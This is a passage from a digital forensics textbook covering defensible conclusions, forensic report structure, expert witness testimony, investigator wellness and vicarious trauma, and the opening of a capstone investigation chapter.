Hasty Generalization is the mistake of making a big conclusion based on only a small amount of data. For example, finding one bad file from a specific IP address does not prove that all communication from that IP address is bad. If one employee's web history shows they visited websites not related to work, that alone does not prove that many employees are wasting time. Your conclusions must match the amount of evidence you have.

Algorithmic Breakdown: Structuring a Defensible Conclusion

To avoid these mistakes, every major conclusion in a forensic report should be built as an argument you can defend. The following four-step process gives a strong structure for this:

(1) **State the Finding:** Start with a clear, direct, and simple statement of your conclusion.

- *Example:* "The file named 'Project_X.docx' was exfiltrated from the host system via the Dropbox cloud storage service on July 26th, 2024, at approximately 14:32 UTC."

(2) **Cite Primary Evidence:** List the specific, separate digital artifacts that support your finding. You should label each piece of evidence as an exhibit so it is easy to find.

- *Example:* "This conclusion is based on the correlation of three primary artifacts: network traffic captures showing a TLS-encrypted session to dropbox.com [Exhibit 001-A], a corresponding entry in the filesystem journal indicating the file was read at this time [Exhibit 002-B], and Dropbox application logs on the host recording the synchronization of 'Project_X.docx' [Exhibit 003-C]."

(3) **Acknowledge and Address Alternative Explanations:** Directly consider and disprove other possible explanations for the evidence. This shows you are objective and your work is complete.

- *Example:* "The possibility of an accidental file synchronization was considered. However, the user access logs for the Dropbox application [Exhibit 003-C] show a manual drag-and-drop event into the sync queue, which is inconsistent with an automated or accidental process."

(4) **State Confidence Level (Optional but Recommended):** State how certain you are about your conclusion. This certainty level should be based on the quality and amount of supporting evidence.

- *Example:* "Therefore, it is my opinion, with a high degree of professional certainty, that the transfer of this file was a deliberate and manually initiated act of data exfiltration."

25.2 Crafting the Forensic Report

Even the best analysis is useless if you cannot communicate the results well. The forensic report is the most important part of the investigation. It is the permanent, official record of your methods, findings, and conclusions. The report must be complete enough that anyone can read it and understand what you did, why you did it, and what you found, without needing to talk to you.

25.2.1 The Foundation: Contemporaneous Notes

The principle of *contemporaneous documentation* means that you must take notes *during* the analysis, not after you are finished. These notes are the foundation for the final report. They can also be requested as evidence in a legal case. They must be:

- **Detailed:** Record everything you do. This includes the tools you use (with their version numbers), the commands you run, and the settings you choose.
- **Objective:** Record what you observe, not what you guess. Describe what the evidence shows, not what you think it means. You will explain the meaning later in the report.
- **Timed and Dated:** Every note should have an exact time and date. It is best to use UTC (Coordinated Universal Time) to prevent confusion about time zones.
- **Professional:** Remember that lawyers, judges, and other experts might read your notes. Do not write jokes, comments about being frustrated, or your personal opinions.

Following good note-taking practices is necessary so that another examiner can repeat your work. It also helps you defend your methods if they are questioned .

Practical Demo: Example of a Good Logbook/Note Entry, A good note entry has enough detail for another examiner to understand and repeat the step.

```
2024-07-26 10:15:00 UTC - Analyst: J. Doe
- Started analysis of image file 'CASE-001-HDD.E01'.
- Checked image hash against chain of custody record.
  - Recorded SHA256: 5f8a...c3b1
  - Verified SHA256: 5f8a...c3b1
  - Result: Match.
- Opened image as read-only using Autopsy v4.19.3.
- Started 'Recent Activity' ingest module at 10:22 UTC.
- Module finished at 10:35 UTC.
- Observation: Reviewing 'Shellbags' artifact in parsed results.
  NTUSER.DAT hive (path: \Users\bsmith\NTUSER.DAT) shows
  ShellBag entries for 'C:\Users\bsmith\Documents\Secret_Plans'.
  Last interaction timestamp: 2024-07-25 18:00:12 UTC.
  Hypothesis: User bsmith accessed this directory.
```

25.2.2 Standard Report Structure

The exact format can be different depending on the organization, but a complete forensic report usually includes the following sections [33].

Executive Summary This is a short summary (usually one page or less) for people who are not technical experts, like managers, lawyers, or a jury. It does not use technical terms. It directly answers the main questions of the investigation (who, what, when, where).

Summary of Findings This section is a high-level list of the most important conclusions from your analysis. Each finding should be a clear statement. You will explain each finding in more detail later in the report.

Evidence Analyzed This is a formal list of every piece of digital evidence you examined. It should include a description of the item (for example, a Dell Latitude Laptop), its make, model, and serial number. Most importantly, it must include the *cryptographic hash* values. A hash is a unique digital fingerprint. You calculate it when you receive the evidence to protect the *chain of custody*, which is the official record of who handled the evidence.

Detailed Analysis and Methodology This is the main technical part of the report. It records the step-by-step process of your examination. It describes the tools, methods, and artifacts you found. Every finding from

the summary must be carefully supported and explained here. You must also link to the specific evidence.

Exhibits and Appendices This section holds materials that support your report but are too large to include in the main part. This can include important screenshots, parts of log files, exported data, and other documents. You must label every exhibit clearly and refer to it from the detailed analysis section (for example, "See Exhibit G for the full registry key export").

25.2.3 Tailoring the Report for the Audience

For one investigation, you may need to present your findings to different groups of people. A good examiner is also a good communicator who can change the message for each audience.

- **For Technical Peers (Peer Review):** The focus is on the "Detailed Analysis and Methodology" section. This audience has expert technical knowledge. Therefore, the important part is showing that your results can be repeated and that your methods are correct. The report must have enough detail for another expert to follow your steps and confirm your conclusions.
- **For Management (Executive Brief):** The focus is only on the "Executive Summary." This audience needs to understand how the event affected the business. What happened? What damage was done? What do you recommend doing next to fix the problem or reduce risk? For them, the technical "how" is less important than the practical "what" and "what does this mean for us."
- **For the Court (Jury/Judge):** Clarity, simplicity, and the ability to defend your work are most important. You must write the entire report thinking that every word could be questioned in court. You must explain complex ideas in simple terms. All conclusions must be directly and clearly supported by the evidence in the exhibits.

25.3 Serving as an Expert Witness

The last step of many investigations is to present the findings in court. This often means you will act as an *expert witness*. A *fact witness* can only talk about what they personally saw or did. In contrast, an expert witness is allowed to give a professional opinion. This opinion is based on their special knowledge, training, and experience. The expert's main responsibility is to the court and to the truth, not to the lawyers who hired them.

25.3.1 Pre-Trial Qualification and Preparation

Before an expert can give an opinion in court, the judge must formally approve them. This often happens in a hearing before the trial. In this hearing, the judge decides if the expert's planned testimony is valid.

Surviving Daubert/Frye Hearings

In the United States, federal courts and many state courts use the **Daubert Standard**. This standard helps a judge decide if an expert's testimony can be allowed in court [54]. Under this standard, the judge acts as a "gatekeeper." The judge evaluates if the expert's methods are scientifically valid based on several factors:

- Whether the technique or theory can be (and has been) tested.
- The known or potential rate of error.
- Whether other experts in the field have reviewed it, and if it has been published.
- If it is generally accepted by experts in that specific scientific field.

Other court systems might use the older **Frye Standard**. This standard only focuses on whether the method is "generally accepted" by the scientific community [76]. An examiner must be ready to defend their methods against these standards. They should refer to industry best practices, studies that test their tools, and basic principles of the field.

The Curriculum Vitae (CV) and Testimony Preparation

An expert's *Curriculum Vitae (CV)* is a very important document. It is a summary of their education, certifications, published work, experience, and past court testimony. The CV must be perfectly accurate and current. The opposing lawyers will examine it carefully, looking for any mistakes they can use to question the expert's qualifications.

To prepare, you must know your report perfectly. You need to be able to explain every step and support every conclusion without pausing. It is also very important to think about the questions you will be asked by both your lawyer and the opposing lawyer. You should also prepare clear, simple visuals like diagrams, timelines, or screenshots to help explain difficult topics to the jury.

25.3.2 Courtroom Testimony: Direct and Cross-Examination

You give testimony in two main parts.

Direct Examination (Telling Your Story)

This part is led by the lawyer who hired you. The goal is to present your findings and expert opinions to the court as a clear, logical story. In this role, you are a teacher. The lawyer will ask broad questions (for example, "Can you please explain to the jury what you found on the suspect's hard drive?"). These questions let you explain your work. The most important thing is to speak clearly, look at the jury or judge, and tell a story that connects the evidence to your conclusion.

Cross-Examination (Defending Your Story)

This part is led by the opposing lawyer. Their goal is not to find the truth, but to win their case. They do this by trying to make you, your methods, or your conclusions seem unreliable. Their questions are often leading, complicated, or designed to make you react emotionally. It is essential to stay calm and disciplined [159].

Algorithmic Breakdown: Handling a Hostile Cross-Examination Question A structured method can help an expert avoid being trapped or confused by a skilled lawyer.

(1) **Listen:** Listen carefully to the whole question. Do not interrupt. Lawyers might start with a long, confusing introduction to make you lose focus. Pay attention to the real question at the end.

(2) **Pause:** Pause for a moment before you answer. This does two things: it stops you from rushing into a bad answer, and it shows you are thinking carefully about the question.

(3) **Answer:** Answer *only* the question that was asked. Do not offer extra information. If you can answer with "yes" or "no," say that first. Then, give a short explanation only if it is needed or if your lawyer told you to.

(4) **Stop:** When you have answered the question briefly and truthfully, stop talking. The lawyer might stay silent to make you feel uncomfortable. They hope you will say more, giving them information they can use against you.

(5) **Stay Calm:** Stay professional and calm, no matter how the lawyer acts. Your credibility depends on you being an objective expert who cannot be easily upset.

25.3.3 Communicating with a Non-Technical Jury

The final audience in a jury trial is the jury itself. Juries are made of regular people, called *laypersons*, who usually have little or no knowledge of technology or forensics. Your success as an expert witness depends on your ability to make complicated things seem simple.

The Power of Analogy

An *analogy* is a comparison between two things to explain an idea. It is the most powerful tool for explaining technical ideas to a non-technical audience. A good analogy connects a difficult technical concept to an experience that a juror understands from daily life.

- **Explaining a File Hash:** "A hash value is like a unique digital fingerprint for a file. Think of a 1,000-page book. If you change even a single comma in that book, its fingerprint will be completely different. We use these digital fingerprints to prove that our forensic copy of the evidence is a perfect, identical clone of the original, with absolutely nothing changed."
- **Explaining RAM (Volatile Memory):** "You can think of a computer's *RAM (Random Access Memory)*, also called *volatile memory*, as its short-term memory, like the thoughts currently in your head. It's active and holds what the computer is working on right now. The hard drive is like the computer's long-term memory, where things are stored after the power is turned off. That's why capturing the short-term memory before shutting a machine down is so critical."

Educate, Don't Intimidate

The jury must trust you before they can learn from you. Your goal is to be a clear and patient teacher. Do not try to impress them with your technical knowledge. Avoid technical terms when you can. When you must use a technical term, explain it immediately in simple language. Your credibility does not come from using difficult words. It comes from your ability to make unclear things clear and complicated things easy to understand.

Conclusion

In this chapter, we learned that an investigator must think critically to avoid bias and that a formal report is necessary to explain findings. We also covered how to present evidence clearly as an expert witness in court. These skills allow an investigator to build a strong case that others can trust. In the next chapter, we will use these principles to analyze specific artifacts left behind by operating systems.

Acronyms and Terminology

Analogy A comparison between two different things, used to explain a complex technical concept in simple, everyday terms for a non-technical audience like a jury.

Anchoring Bias A common thinking mistake where an investigator relies too heavily on the first piece of information received (the "anchor") when making decisions.

Anti-forensics tools Software or methods specifically designed to hide, alter, or destroy digital evidence to disrupt a forensic investigation.

Artifacts Digital items of interest found during an investigation. Examples include a log entry, a file's timestamp, a browser history record, or a registry key.

Availability Heuristic A mental shortcut where one overestimates the likelihood of an event simply because a similar event is easily remembered, often because it was recent or dramatic.

Chain of Custody The documented chronological history of evidence, showing its seizure, custody, control, transfer, analysis, and disposition to prove it has not been tampered with.

Cognitive Biases Unconscious mental shortcuts or patterns in thinking that can lead to errors in judgment and undermine an objective investigation.

Confirmation Bias The tendency to look for, interpret, and remember information that supports one's existing beliefs, while ignoring evidence that contradicts them.

Contemporaneous Documentation The essential practice of taking detailed notes *during* the examination process, not after it is complete, to create a reliable record of the work performed.

Correlation vs. Causation A logical fallacy based on the wrong assumption that if Event B happened after Event A, then Event A must have caused Event B.

Cross-Examination The questioning of an expert witness in court by the opposing lawyer, which aims to challenge the credibility of the witness or their findings.

Cryptographic Hash A unique, fixed-length digital fingerprint (e.g., SHA256) for a piece of data. It is used to verify that the data's integrity is intact and that it has not been altered.

CV (Curriculum Vitae) A detailed document summarizing an expert's professional background, including their education, certifications, publications, and previous testimony, used to establish their qualifications in court.

Daubert Standard A rule of evidence used in U.S. federal courts for admitting expert witness testimony. It requires the judge to act as a "gatekeeper" to ensure the expert's methods are scientifically valid and reliable.

Direct Examination The initial questioning of an expert witness by the lawyer who hired them, where the expert explains their findings to the court in a clear, narrative style.

Exculpatory Evidence Evidence that tends to prove a suspect's innocence or show that someone else committed the crime.

Expert Witness A person who, because of their specialized knowledge, skill, experience, or training, is permitted by a court to provide a professional opinion on the evidence.

Fact Witness A witness who can only testify in court about events they personally saw, heard, or did. Unlike an expert witness, they cannot offer opinions.

Falsifiability A core principle of the scientific method which states that for a hypothesis to be scientific, there must be a way to test it and potentially prove it false.

FBI Federal Bureau of Investigation. The main federal law enforcement and intelligence agency in the United States.

Frye Standard An older legal standard used in some U.S. jurisdictions which states that a scientific method is admissible in court only if it is "generally accepted" by experts in that particular field.

Heuristics General rules-of-thumb or mental shortcuts that the brain uses to solve problems quickly. These can sometimes lead to cognitive biases in an investigation.

Hypothesis In digital forensics, a proposed, testable explanation for a digital artifact or event that is formulated and then tested against other evidence.

Latent Fingerprint A hidden fingerprint left on a surface by the oils and sweat from skin. It is made visible through forensic processing.

Logical Fallacies Flaws in the structure of an argument that make the conclusion invalid. This is different from cognitive biases, which are errors in the thinking process itself.

Network-based Exfiltration The unauthorized transfer and removal of data from a computer or a network.

Objectivity A critical mindset where an examiner approaches evidence without any preconceived notions or theories, allowing the data itself to lead the investigation.

OIG Office of the Inspector General. An organization responsible for oversight and audits within a government agency to prevent fraud, waste, and abuse.

Professional Skepticism The practice of maintaining a questioning mind and critically assessing all evidence and assumptions, requiring proof for every conclusion.

RAM (Random Access Memory) The computer's active, short-term memory where it stores data it is currently working on. It is a form of volatile memory.

SHA256 Secure Hash Algorithm 256-bit. A widely used cryptographic hash function that creates a unique 256-bit (64-character) digital fingerprint for a file or piece of data.

TLS (Transport Layer Security) An encryption protocol used to secure communications over a network, such as browsing a website. Its presence can be a digital artifact in an investigation.

UTC (Coordinated Universal Time) The primary time standard used worldwide, recommended for forensic documentation to avoid confusion arising from different time zones.

Volatile Memory Computer memory, like RAM, that requires electrical power to maintain its data. All information stored in volatile memory is lost when the computer is turned off.

Chapter 26

Investigator Wellness and Professional Resilience

Introduction

An investigator's most important tool is their mind. This job involves unique pressures that can affect your mental health, which harms your work and your personal life. This chapter teaches you how to protect your well-being, a skill we call *professional resilience*. We will explain the different types of job stress, show you practical ways to manage these challenges, and discuss how your organization can help create a healthy work environment.

26.1 Psychology of Digital Investigations

26.1.1 Defining Occupational Stressors

To handle the mental demands of the job well, it is important to understand the difference between three related but different ideas: stress, burnout, and vicarious trauma.

Stress is the body's natural reaction to any challenge. It can be positive (called *eustress*), like the motivation you feel to meet a difficult but possible deadline. It can also be negative (called *distress*), which comes from situations that feel too difficult or threatening. For an investigator, stress is a normal part of the job. It comes from complex cases, upcoming court dates, and the serious consequences of their work.

Burnout is a state of feeling emotionally, physically, and mentally tired. It is caused by long-term or too much stress. As described by Christina Maslach, burnout has three main signs: feeling extremely tired, having negative feelings and a sense of being disconnected from the job, and

feeling that you are not effective or achieving anything [143]. An investigator with burnout might feel they are not making a difference anymore. They may become easily annoyed and disconnected from their work and coworkers.

Vicarious Trauma (VT) is a deeper and more specific problem. It is a change in how an investigator sees the world and themselves. This change is caused by connecting with empathy to victims and seeing traumatic material [170]. We call it *vicarious* because you experience the trauma indirectly. For example, when an investigator sees the trauma of others by analyzing child sexual abuse material (CSAM) or reading very upsetting victim statements, their own mental beliefs about safety, trust, and justice can be completely changed.

Common Stressors in Digital Forensics

Investigators face many different types of stress, which can be grouped in the following ways:

- **Case-Related:** The basic nature of the work. This includes seeing graphic content (especially CSAM), talking to very upset victims, and feeling strong pressure to find the critical piece of evidence that will lead to a conviction.
- **Technical:** The constant need to learn new technology. This includes dealing with complex encryption and *anti-forensic techniques*, which are methods used by criminals to hide or destroy digital evidence. It also includes the very large amount of data on modern devices, which can feel impossible to handle.
- **Legal/Courtroom:** The high-pressure courtroom environment. This includes facing difficult questions from defense attorneys who may strongly question your work and honesty, and pressure from lawyers on both sides of a case.
- **Organizational:** Problems within the organization. This includes having too many cases all the time, not enough money for training and tools, managers who do not understand the difficult parts of digital forensics, and too much paperwork that takes time away from investigations.

26.1.2 The Impact of Disturbing Content

Many types of cases can be stressful. However, investigations that involve child sexual abuse material (CSAM) are regularly named as one of the most important and powerful causes of vicarious trauma for professionals in law enforcement and digital forensics [171]. To prepare evidence from this material, an investigator must view it repeatedly for long periods. This repeated, long exposure can have a serious and long-term effect.

Symptoms of vicarious trauma often appear in small but widespread ways:

- Unwanted thoughts or memories of sights and sounds from cases that appear suddenly.
- *Hypervigilance*, which means being overly alert to danger, and increased worry, especially about the safety of your own children or family.
- Feeling empty or unable to feel emotions (emotional numbness). You might also feel disconnected or "shut down" as a way the mind protects itself.
- Increased negative beliefs about the world. You may be more easily annoyed with family and friends and may start to avoid social events.

Real-World Story, An experienced digital forensics investigator works intensely on a large CSAM case for six months. He carefully analyzes thousands of images and videos, identifies many victims, and prepares evidence that leads to multiple arrests. Although he is praised for his excellent work, he begins to change. He stops looking at photos of his own young children because they cause him to suddenly remember material from his case. At his daughter's school play, he feels a growing panic, looking at the crowd and seeing possible threats everywhere. He gets angry with his partner over small things. He is physically there but emotionally not present. He cannot stop feeling that the world is a much more dangerous place than he used to believe. This story shows the harmful spread of vicarious trauma from a person's professional life to their personal life, changing how they experience the world.

26.1.3 How Stress Impairs Forensic Work

Long-term stress, burnout, and vicarious trauma are not just personal problems. They are also a direct threat to the quality and honesty of forensic work. An investigator's mind is their main tool. When that tool is weakened by tiredness and mental distress, the quality of their analysis becomes worse.

The Threat to Objectivity The science of forensics is based on *objectivity*, which is the ability to make fair, neutral judgments. However, mental pressure can make *cognitive biases* worse. Cognitive biases are natural thinking errors that can affect judgment and weaken this important principle [61].

- **Confirmation Bias:** A tired or burned-out investigator is under pressure to solve a case. They might, without realizing it, look for and focus more on data that supports their first theory about a suspect. At the same time, they might ignore or treat evidence that goes against their theory as less important.

- **Tunnel Vision:** High stress can make an investigator focus too much on one piece of evidence or one direction of investigation. This can cause them to miss other possibilities or fail to see the bigger picture of the digital crime scene.

Risk of Errors Being mentally tired is a direct cause of mistakes. It weakens attention to detail, memory, and *executive function*. Executive function includes the mental skills used to manage time, pay attention, and organize tasks. This can lead to serious mistakes in handling evidence, documenting procedures incorrectly, or errors in analysis. These mistakes could be used by the other side in court and could put the entire investigation at risk.

26.2 Proactive Strategies for Individual Resilience

Resilience is not a natural quality of toughness that some people have and others do not. Instead, it is a process. It is a set of skills and habits that you can develop and practice over time. You should focus on proactive, preventive care. This means building your mental protection before you face challenges, instead of just reacting after you are hurt.

26.2.1 Building Robust Support Systems

No investigator can succeed alone. A strong support network is one of the best protections against stress and trauma.

The Power of Peer Support

Coworkers are often the only people who truly understand the special pressures of the job. This shared understanding is a very valuable resource.

- **Build Connections:** Actively build relationships with coworkers you trust. This can be informal, like meeting for coffee regularly. It can also be formal, like a peer support group.
- **Create a Safe Space:** The purpose of peer support is not to compete over who has the worst stories. The purpose is to create a private, non-judgmental place to share the emotional difficulties of the work. Simply saying, "This case is really affecting me," and hearing someone reply, "I understand, I've had that experience," can make you feel much better.

Mentorship as a Wellness Tool

A good mentor gives you more than just technical advice. They show you a plan for how to build a long-lasting career.

- **Two Roles:** A mentor can listen to your complex technical problems. Just as importantly, they can help you manage career and wellness challenges. They can share wisdom from their own years of experience.

- **Show Healthy Boundaries:** Look for mentors who are not only great at their job but also show a healthy balance between work and personal life. Learn from people who take their vacations, disconnect from work in the evenings, and make their own well-being a priority.

26.2.2 Active Stress Management Techniques

These are practical techniques you can use. You can add them to your daily routine to manage stress as it happens and to support your long-term health.

Mindfulness and Grounding

Mindfulness is the practice of paying attention to the present moment on purpose and without judging your thoughts. It is a remedy for *rumination*, which is the pattern of constantly thinking about the same negative or anxious thoughts that often comes with a stressful job.

Practical Demo: The 5-4-3-2-1 Grounding Technique, When you feel overwhelmed by stress, worry, or unwanted thoughts from a case, stop and do this simple exercise. It moves your focus away from upsetting thoughts and connects you to your current surroundings. Silently name:

- **5** things you can **see** (your monitor, a pen, a picture on the wall).
- **4** things you can **feel** (your feet flat on the floor, the texture of your shirt, the cool surface of the desk).
- **3** things you can **hear** (the hum of the server, distant traffic, your own breathing).
- **2** things you can **smell** (the coffee on your desk, the air from the vent).
- **1** thing you can **taste** (the lingering taste of mints or coffee).

Physical Wellness as a Non-Negotiable

The mind and body are very closely connected. Good physical health is an essential foundation for mental resilience.

- **Ergonomics:** *Ergonomics* is the science of designing a workspace to be safe and comfortable. The physical strain from sitting for many hours can make mental stress worse. A good chair, the correct monitor height, and taking short breaks often to stand and stretch are not luxuries. They are necessary to prevent long-term pain and tiredness.
- **Exercise:** Physical activity is one of the best ways to reduce stress hormones like cortisol and adrenaline. You do not need to run a marathon. Even a fast 30-minute walk can greatly improve your mood and ability to think clearly.

- **Sleep:** Good sleep is very important for controlling your emotions, making memories stronger, and solving problems. The brain processes the events of the day during sleep. Not getting enough sleep over a long time badly harms every part of an investigator's performance.

The Digital Detox

A *digital detox* is when you choose not to use electronic devices like phones or computers for a specific amount of time. This creates a very important separation between your work life and your personal life.

- **Set Boundaries:** Make a clear rule, for example, "no work email after 7 PM."
- **Create Screen-Free Areas:** Choose areas in your house, like the dinner table or bedroom, where no electronic devices are allowed.
- **Turn Off Notifications:** Turn off all notifications on your phone that are not essential. This reduces the constant, small distractions and the feeling that you must always be available.

26.2.3 Seeking Professional Mental Health Support

De-stigmatizing Therapy

Getting help from a mental health professional should be seen as a practical step, just like seeing a medical doctor for a physical problem. It is a sign of strength and that you are aware of your own needs. It is not a sign of weakness. In many police and government jobs, people worry that asking for help might affect their security clearance or their career. It is important to know that there are strong rules to protect your privacy. Today, many agencies see getting help for work-related stress as a responsible and proactive choice [165].

Finding the Right Help

Not all therapists have experience with the special challenges that investigators face. When searching for a professional, use specific keywords:

- "Therapist for first responders"
- "Trauma-informed care"
- "Vicarious trauma specialist"

Good resources include your organization's *Employee Assistance Program (EAP)*. An EAP can give you private recommendations for help. You can also look at the lists of professional groups that focus on treating trauma.

26.3 Organizational Responsibility & Healthy Team Cultures

While personal strategies for resilience are very important, they can fail in a negative or unsupportive workplace. The final responsibility for an investigator's well-being is shared. The organization has a very important part to play. A healthy team culture is the base on which personal resilience is built.

26.3.1 Leadership's Role in Protecting Teams

Good leadership is the most important factor for creating a mentally safe workplace.

- **Create a Culture of Openness:** Leaders must show the right attitude. When managers talk openly and honestly about the mental challenges of the work and make wellness a priority, it shows the whole team that it is safe and necessary to have these conversations. A policy of zero *stigma* for mental health must be actively followed. Stigma means a mark of shame or disapproval. This policy must come from the highest levels of leadership.
- **Smart Caseload Management:** Leaders must protect their teams from workloads that are too heavy to manage over time. This means moving investigators to different tasks after they work on high-trauma cases (like CSAM) for a long time. It also means actively watching for signs of burnout and making sure work is divided fairly. Finally, it means working hard to get the resources (tools, training, and people) that the team needs to do its job well. This reduces stress caused by technical problems.

26.3.2 Implementing Formal Wellness Protocols

Proactive, organized programs can make wellness a basic part of how an organization works.

Post-Case Debriefings After a very traumatic or difficult case, the team should have a required meeting called a *debriefing*. This meeting is non-punitive, which means no one gets in trouble. The goal is to talk about the human, mental effects of the case, not to judge how well the job was done.

Proactive Wellness Check-ins Offer optional and private yearly mental health check-ins with a qualified professional. These should be presented in the same way as a yearly physical health exam. This makes mental health care feel normal. It also helps people find developing problems before they become serious.

Tools and Policies to Limit Exposure When possible, use technology to reduce how much sensitive material people see. Modern tools can help sort images by how disturbing they are. They can also use *hashing* to identify known CSAM files. A hash is a unique digital fingerprint created from a file, so an analyst does not have to look at it. The organization should enforce rules that limit who can see the most sensitive data. Only people who absolutely need to see it should have access.

Algorithmic Breakdown: A Simple Post-Case Debriefing Framework

1. **Schedule:** Schedule a required meeting for everyone involved. It should happen within 72 hours after the case ends.
2. **State Purpose:** The person leading the meeting starts by saying clearly: "This meeting is private and not for evaluation. Our goal is to talk about the human effects of this case, not to criticize anyone's work."
3. **Fact Phase:** Briefly review the facts and timeline of the case so everyone has the same information.
4. **Thought/Reaction Phase:** Ask open-ended, non-judgmental questions. Examples: "What was the most challenging part of this case for you personally?" "Were there any images, details, or interactions that you remember clearly?" "How did you feel when the case ended?"
5. **Symptom Education:** Briefly explain that common stress reactions are normal. "It's common after a case like this to have trouble sleeping, to be more easily annoyed, or to have thoughts about the case appear in your mind. This is a normal reaction to a very difficult situation."
6. **Resource Reminder:** Clearly remind the team of all the wellness help that is available (EAP, peer support, trusted managers, mental health professionals) and give clear, private instructions on how to get that help.
7. **Closing:** End with supportive words. This helps strengthen team unity and the idea that team members should care for each other.

26.4 Sustainable, Fulfilling Careers

Daily wellness habits are the foundation for planning a long-term career. A long-lasting career in digital forensics should be more than just something you can get through. It should also be interesting and challenging, professionally rewarding, and personally satisfying.

26.4.1 Career-Long Learning as a Wellness Strategy

Combatting Stagnation

Burnout is often caused by feeling stuck or like you are not effective. Learning new things continuously is a powerful solution. Learning a new tool, getting a new certification, or exploring a new area of forensics builds confidence. It brings back a feeling of being an expert and keeps the work interesting.

Diversifying Your Skillset

You should try to become a "T-shaped professional." A "T-shaped professional" has deep expert knowledge in one main area (this is the vertical part of the letter 'T'). They also have good general knowledge in several related areas (this is the horizontal part of the 'T'), such as network forensics, malware analysis, or cloud investigations. This variety makes your work more interesting. It also gives you other career options in the field if your main specialty becomes too mentally difficult over time.

26.4.2 Mastering Professional Boundaries

Clear boundaries are not selfish. They are necessary to protect yourself and to be effective in your job for a long time.

The Right to Disconnect

Many organizations have a culture that quietly rewards "hero work." This means working too many hours, never taking vacation, and being available 24/7. This is a harmful and damaging way to work.

- Use all of your vacation time.
- When you are on vacation, truly disconnect. Do not check work email or take work-related calls.
- Be an example of this behavior for new colleagues to help change the culture away from celebrating burnout.

Practical Demo: Scripts for Saying "No" (or "Not Now"), It can be difficult to set boundaries, especially with your managers. It is important to use clear, professional language. Offer solutions instead of just saying no.

- **To a Manager:** "I can take on that new case, but to do a good job on it, I will need more time for Project X, or another team member will need to take it. Which option works better for you?" (This presents the issue as a resource problem and offers a choice, not just a refusal.)
- **To a Colleague:** "I would normally be happy to help with that, but I am completely busy right now with my own deadlines. Can we

talk early next week when I have more time?" (This is polite, firm, respectful, and sets a new time to talk.)

26.4.3 Creating a Personal Development & Wellness Plan

A complete career plan should clearly combine your professional goals with your personal wellness goals. This makes sure that your well-being is treated as being just as important as your technical skills.

Algorithmic Breakdown: The Annual 4-Quadrant Wellness & Development Plan At the beginning of each year, take an hour to write a simple, one-page plan with four sections.

Technical Skills Identify 1-2 new tools, certifications, or forensic techniques to learn this year. *Example: "Complete the SANS FOR518 Mac and iOS Forensics course" or "Master Volatility 3 for Linux memory analysis."*

Soft Skills Identify 1-2 non-technical skills to improve that support your work. *Example: "Practice public speaking by presenting a case study at a local conference" or "Take an online course on effective technical writing for court reports."*

Wellness Goals Set 1-2 specific, measurable wellness goals. *Example: "Schedule one evening per week as a 'digital detox' night with no screens," "Use all of my vacation days this year," or "Find a therapist for check-ins every three months."*

Network/Community Define 1-2 goals for connecting with others in your profession. *Example: "Actively participate and answer questions in one online digital forensics community" or "Find a new investigator in my unit to mentor."*

Conclusion

In this chapter, we learned to identify the signs of stress, burnout, and vicarious trauma. We also covered key strategies for building resilience, using both personal wellness habits and support from your workplace. By actively managing your well-being, you protect your ability to stay objective, prevent critical mistakes, and build a long, healthy career. Now that you understand how to manage the human challenges of this work, you are ready to focus on the technical tasks. In the next chapter, we will explore the investigative process, starting with how to properly handle and preserve digital evidence.

Acronyms and Terminology

Anti-forensic techniques Methods used by criminals to hide, change, or destroy digital evidence to prevent investigators from finding or analyzing it.

Burnout A state of feeling emotionally, physically, and mentally exhausted due to long-term or excessive stress, leading to feelings of detachment and ineffectiveness at work.

Cognitive Biases Natural errors in human thinking that can unconsciously affect judgment and lead to a loss of objectivity in an investigation.

Confirmation Bias A type of cognitive bias where an investigator unintentionally focuses on evidence that supports their initial theory while ignoring or downplaying evidence that contradicts it.

CSAM Child Sexual Abuse Material: Illegal and graphic content involving the sexual abuse of children, which is a major source of trauma for investigators who must analyze it.

Debriefing A structured, non-judgmental meeting for a team after a difficult case to discuss the emotional and psychological impact of the work, separate from performance evaluation.

Digital Detox A chosen period of time when a person intentionally stops using electronic devices like phones and computers to create a healthy boundary between work and personal life.

EAP Employee Assistance Program: A confidential service offered by an employer that provides professional support for personal and work-related problems, including mental health counseling.

Ergonomics The science of designing a workspace and its equipment to be comfortable and safe, reducing physical strain and fatigue from long hours of work.

Executive Function A set of mental skills that help with managing time, paying attention, and organizing tasks. Stress and fatigue can weaken these skills, leading to mistakes.

Hashing A cryptographic process that creates a unique digital fingerprint (a hash value) for a file. It is used to identify known files, such as CSAM, without an investigator having to view the actual content.

Hypervigilance An elevated state of alertness where a person is constantly scanning for threats or danger. It is a common symptom of vicarious trauma.

Mindfulness The practice of purposefully paying attention to the present moment without judgment, used as a technique to calm the mind and reduce stress.

Objectivity The ability to make fair and neutral judgments based on facts, without being influenced by personal feelings or biases. It is a core principle of forensic science.

Professional Resilience The set of skills and practices an investigator develops to protect their mental and emotional well-being from the unique stresses of their job.

Rumination A mental pattern of repeatedly thinking about the same negative or upsetting thoughts, which is often associated with stress and anxiety.

Stigma A mark of disgrace or shame associated with something, such as seeking mental health support, which can prevent people from getting the help they need.

Stress The body's natural physical and mental response to any challenge or demand. It can be positive (eustress) or negative (distress).

T-shaped professional A professional who has deep expert knowledge in one primary area (the vertical bar of the 'T') along with a broad understanding of several related fields (the horizontal bar).

Trauma-informed care A type of therapy and support that recognizes and understands the impact of trauma, ensuring that care is provided in a way that is sensitive and avoids causing further distress.

Tunnel Vision A thinking error, often caused by stress, where an investigator focuses too narrowly on a single suspect or piece of evidence, potentially missing other important leads.

Vicarious Trauma (VT) A profound shift in an investigator's worldview, beliefs, and sense of self resulting from indirect exposure to traumatic events, such as analyzing evidence from violent crimes or child abuse.

Part 8

Capstone and Future Frontiers

This final part has two main goals. First, it provides a complete *capstone project*. A capstone project is a final assignment that requires you to combine all the skills you have learned. In this project, you will use everything from this book to solve complex investigations that have many parts. Second, this part looks toward the future. We will explore the new technologies and changing laws that will shape the future of digital forensics.

Chapter 27

Final Capstone: End-to-End Simulated Investigations

Introduction

In previous chapters, you learned the individual skills of digital forensics. This final chapter is where you will use all those skills together to solve a complete case, just like a real investigator. The goal is to move from following instructions to making your own decisions. You will choose one of two realistic case scenarios and conduct a full investigation from start to finish. To succeed, you will need to plan your analysis, examine the evidence, and write a professional report that explains what you found.

27.1 The Pre-Investigation Phase

Before you analyze any evidence, you must prepare a formal foundation. This preparation phase is for creating an organized system that you can defend. A common mistake is to start the analysis too quickly without a plan. This can waste time, damage evidence, and lead to results that are easy to criticize. Good planning makes sure the investigation is focused and efficient. It also ensures the results are *forensically sound*, which means they follow accepted scientific and legal standards [113].

